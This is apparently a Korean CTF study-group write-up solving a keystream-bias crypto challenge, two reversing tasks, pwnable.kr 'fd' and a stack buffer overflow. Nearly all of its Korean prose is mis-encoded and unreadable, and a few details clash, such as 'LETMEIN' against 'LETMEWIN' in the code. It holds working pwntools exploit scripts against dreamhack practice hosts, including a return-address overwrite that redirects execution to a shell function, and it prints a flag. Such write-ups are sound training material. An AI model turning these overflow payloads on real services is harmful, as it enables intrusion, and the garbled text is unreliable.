[CAUTION] ์คํฐ๋ - 10
๐ก Caution ์คํฐ๋ 10ํ์ฐจ
์ํธํ - 1
def encrypt(s, k):
res = ""
if k <= len(s):
_print("[!] key shold be larger then len(pt) for safty!!")
return ""
for i, c in enumerate(s):
enc = (get_random_u8() + key * i) % 0xff
enc = ord(c) ^ enc
res += hex(enc)[2:].rjust(2, "0")
return res
์์ ์ฝ๋์ ๊ฐ์ ๋ฐฉ์์ผ๋ก ์ํธํ๋ฅผ ์ํํ๋ค.
์ทจ์ฝ์ ์ด ๋ฐ์ํ๋ ๋ถ๋ถ์ %0xff ์ด๋ค.
key stream : (get_random_u8() + key * i) % 0xff
๋ถ๋ถ์ ์ ์๊ฐํด ๋ณด๋ฉด ๊ทธ ๊ฒฐ๊ณผ๋ก 0~254 ๊น์ง์ ๊ฒฐ๊ณผ๊ฐ ๋์ค๋ ๊ฒ์ ์ ์ ์๋ค.
์ด๊ฒ์ด ์ ๋ฌธ์ ์ธ์ง ์๊ฐํด๋ณด์. ์์์ ํ๋ฌธ โXโ์ ๋ํด์ ์ํธํ๋ฅผ ํตํด์ ๋์ฌ ์ ์๋ ๋ชจ๋ ๊ฒฐ๊ณผ๋ 8bit ๊ฒฐ๊ณผ์ด๋ฏ๋ก 00000000 ~ 11111111 ๋ก ์ด 256๊ฐ์ด๋ค.
๊ทผ๋ฐ ํ์ฌ ํค ์คํธ๋ฆผ์ 0~254๊น์ง์ ๋ฒ์๋ฅผ ๊ฐ์ง๋ฏ๋ก 255๊ฐ์ ํค ์คํธ๋ฆผ์ด ์๋ค.
์ฆ, ์์์ ๋ฌธ์ โXโ์ ๋ํด์ ๊ณ์ ์ํธํ๋ฅผ ์ํํ๋ฉด โXโ xor โ11111111โ ์ ๊ฒฐ๊ณผ๊ฐ ๋๋ฝ๋๊ฒ ๋๋ค.
๊ทธ๋ฌ๋ฉด ์ฐ๋ฆฌ๋ ํ๋์ ๊ธ์์ ๋ํด์ ๊ณ์ ์ํธํ๋ฅผ ์ํํ๋ฉด์ ์ด๋ ํ ๊ฒฐ๊ณผ๊ฐ ๋์๋์ง๋ฅผ ์ ๋ถ ๊ธฐ๋กํ ๋ค์, 0-255์ค์ ํ ๋ฒ๋ ์๋์จ ๊ฒฐ๊ณผ๋ฅผ ์ฐพ์ผ๋ฉด ๋๋ค. ๊ทธ๋ฌ๋ฉด ๊ทธ ์ซ์๊ฐ ๋ฐ๋ก โXโ xor โ11111111โ์ด ๋๋ ๊ฒ์ด๋ค.
์ด๋ฅผ ์ฝ๋๋ก ๊ตฌํํ๋ฉด ๋ค์๊ณผ ๊ฐ๋ค. ๋ชจ๋ flag ํ๋ํ๋์ ๋ํด์ bruteforce๋ฅผ ํ๋ค๋ณด๋, ๊ฒฐ๊ณผ๊ฐ ๋์ค๋๋ฐ ์๊ฐ์ด ๊ฝค ๊ฑธ๋ฆฐ๋ค.
from pwn import *
p = remote('host1.dreamhack.games',10819)
key = 255
p.sendlineafter('>> ','3')
p.sendlineafter('key >> ','255')
p.recvuntil('result : ')
enc_flag = p.recvline()
flag_len = len(enc_flag) // 2
flag_set = [list(range(256)) for _ in range(flag_len)]
flag = [0 for x in range(flag_len)]
while True:
p.sendlineafter('>> ','3')
p.sendlineafter('key >> ','255')
p.recvuntil('result : ')
enc_flag = bytes.fromhex(p.recvline()[:-1].decode())
for i in range(flag_len):
# flag_set์์ ์ฐพ๋ ๊ธ์ ํ๋์ฉ ์ญ์
if flag_set[i].count(enc_flag[i]) == 1:
flag_set[i].remove(enc_flag[i])
# ํ๊ฐ ๋จ์ ๊ฒฐ๊ณผ์ 255 xor ํ๋ฉด ์๋ ๊ธ์
if len(flag_set[i]) == 1:
flag[i] = chr(flag_set[i][-1] ^ key )
print([len(x) for x in flag_set])
if 0 not in flag:
break
print(''.join(flag))
๋ฆฌ๋ฒ์ฑ - 1
๋ฆฌ๋ฒ์ฑ ๊ธฐ์ด๋ฌธ์
IDA๋ก ์ด๋ฉด ๋ฐ๋ก strcmp๊ฐ ๋ณด์
๋ฆฌ๋ฒ์ฑ - 2
๊ฐ๊ฐ์ input(a1)์ ๋ํด์, aC[] ๋ฐฐ์ด๊ณผ ๋น๊ต๋ฅผ ํ๊ณ ์๋ค. ์ด ๊ธธ์ด๋ 18๊ธ์ ์ด๋ฉฐ, aC๋ฐฐ์ด์ ๋ค์๊ณผ ๊ฐ๋ค.
๋ฐ์ดํฐ ํ์ ์ array๋ก ๋ฐ๊พธ๋ฉด ๋ ๋ณด๊ธฐ ์ฝ๋ค.
๋ง์ง๋ง null๋ฌธ์๋ฅผ ์ ์ธํ๋ฉด ์ด 17๊ธ์๋ก flag๋ โComp4re_the_arr4yโ์ด๋ค.
์์คํ - 1
pwnable.kr [fd]
๋ฌธ์ ์ ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ๋ค.
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
argv[1] - 0x1234 ๊ฐ์ fd๋ก ํ์ฌ ํด๋น fd๋ก ๋ฐ์ดํฐ๋ฅผ ์ฝ์ด์จ๋ค.
stdin ์ด fd 0 ์ด๋ฏ๋ก argv[1]๋ก 0x1234์ธ 4660 ๋ฐ์ดํฐ๋ฅผ ๋๊ฒจ์ค๋ค.
๋๊ฒจ์ฃผ๋ฉด ์ฌ์ฉ์์ ์ ๋ ฅ๊ฐ์ ๊ธฐ๋ค๋ฆฌ๊ฒ ๋๊ณ , ์ด๋ ๋น๊ต ๋ฌธ์์ด์ธ โLETMEINโ์ ์ ๋ ฅํด ์ฃผ๋ฉด flag๋ฅผ ํ๋ํ ์ ์๋ค.
์์คํ - 2
Return Address Overwrite ๋ฉ์ธํจ์๋ฅผ ์์ํ ๋ ์คํ ์ํ๋ ์๋์ ๊ฐ๋ค
๊ทธ๋ฆผ์ผ๋ก ํํํด๋ณด๋ฉด ์คํ ์ํ๋ ๋ค์๊ณผ ๊ฐ๋ค
buf์ ์ ๋ ฅ ๋ฐ์๋ bof ์ทจ์ฝ์ ์ด ์์ผ๋, 56byte๋ ๋๋ฏธ๋ก ์ฑ์์ฃผ๊ณ 8 byte๋ฅผ get_shell() ํจ์์ ์ฃผ์๋ฅผ ์ ๋ ฅํ์ฌ ์ต์คํ๋ก์ ํ๋ค.
get_shell()์ ์ฃผ์๋ ๋ค์๊ณผ ๊ฐ๋ค.
์ ์ฝ๋๋ ๋ค์๊ณผ ๊ฐ์ด ์์ฑํด ์ค๋ค.
from pwn import *
p = remote('host1.dreamhack.games',21598)
context.log_level= 0
# get_shell() : 0x00000000004006aa
p.recvuntil(b'Input: ')
payload = 'A' * 0x30
payload += 'B' * 8
payload += '\xaa\x06\x40\x00\x00\x00\x00\x00'
p.sendline(payload)
p.interactive()
์คํํ๋ฉด ๋ค์๊ณผ ๊ฐ์ด ํ๋๊ทธ๋ฅผ ํ๋ํ ์ ์๋ค.
๋๊ธ๋จ๊ธฐ๊ธฐ